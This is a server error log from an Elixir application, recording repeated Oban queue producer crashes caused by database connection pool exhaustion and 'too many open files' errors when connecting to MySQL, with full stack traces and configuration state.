State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:26:20.239760Z], limit: 10, uuid: "89b5bbaf-5d87-4d8c-b187-d429a4ce6d06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:20.239765Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58548>, refresh_timer: #Reference<0.2525715032.1077673987.38176>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:26:20.239088Z], limit: 3, uuid: "f5f43a20-0d48-4213-892d-afef178096bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:20.239098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59784>, refresh_timer: #Reference<0.2525715032.1099431938.58497>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:26:20.240044Z], limit: 50, uuid: "1d946d8d-2144-4849-b304-7f212335623a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:20.240049Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.189350>, refresh_timer: #Reference<0.2525715032.1121189889.189319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:26:20.239928Z], limit: 20, uuid: "5e3b89e0-0fac-45c5-a97a-70fe61646cef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:20.239933Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58546>, refresh_timer: #Reference<0.2525715032.1099431938.58535>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:32.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:33.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:34.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:40.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:42.952000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:26:32.238612Z], limit: 5, uuid: "8e575b70-5731-4ed6-9d2e-b44506a23b88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:32.238618Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.38309>, refresh_timer: #Reference<0.2525715032.1077673987.38296>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:26:32.239311Z], limit: 3, uuid: "4e9e7bf0-9f25-4d2e-9b7d-4a4584ef8a50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:32.239316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60082>, refresh_timer: #Reference<0.2525715032.1099431938.58594>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:44.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:26:32.239841Z], limit: 50, uuid: "b9284f63-276a-47bb-bf17-a48a36aac9e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:32.239847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.38310>, refresh_timer: #Reference<0.2525715032.1121189889.189600>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:26:32.239484Z], limit: 5, uuid: "0545cf66-0c2a-4b15-a147-09b1c212910a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:32.239489Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.38311>, refresh_timer: #Reference<0.2525715032.1099431938.58600>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:44.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:26:32.239162Z], limit: 10, uuid: "11dd3efb-d98f-47da-acb8-b77a52df9d4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:32.239168Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.38308>, refresh_timer: #Reference<0.2525715032.1077673987.38295>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
